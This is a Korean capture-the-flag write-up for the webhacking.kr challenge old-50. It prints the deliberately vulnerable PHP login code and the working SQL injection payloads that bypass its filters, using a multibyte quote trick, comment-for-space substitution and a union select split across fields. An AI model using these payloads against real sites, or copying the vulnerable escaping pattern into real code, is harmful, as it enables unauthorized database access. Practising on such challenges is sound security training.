write-up(web)/webhacking.kr

[Webhacking.kr] old-50

chanchand 2023. 1. 5. 22:50
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문제


<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>

 

lv="3"인 값을 찾으면 문제가 해결된다.

 

 

 

문제풀이


mb_convert_encoding() 함수를 활용하는 문제이다.

 

2023.01.03 - [wargame/web] - [Webhacking.kr] old-45

 

[Webhacking.kr] old-45

문제 SQL INJECTION id : pw : view-source

chandlerbong.tistory.com

 

select lv from chall50 where id='guest%a1%27%23' and pw=md5('guest')

위 구문으로 id=guest인 값을 확인하려고 했는데 '(%27)와 %a1가 결합하면 문자가 생기기 때문에 확인할 수 없다.

 

- lv=1

select lv from chall50 where id='%a1%27||lv/**/like/**/1%23' and pw=md5('guest')

 

- lv=3

select lv from chall50 where id='%a1%27||lv/**/like/**/3%23' and pw=md5('guest')

lv=3인 lv 값이 아닌 lv="3"을 확인해야 한다.

select lv from chall50 where id='%a1%27/*' and pw=md5('*/union/**/select/**/3%23')

 

 

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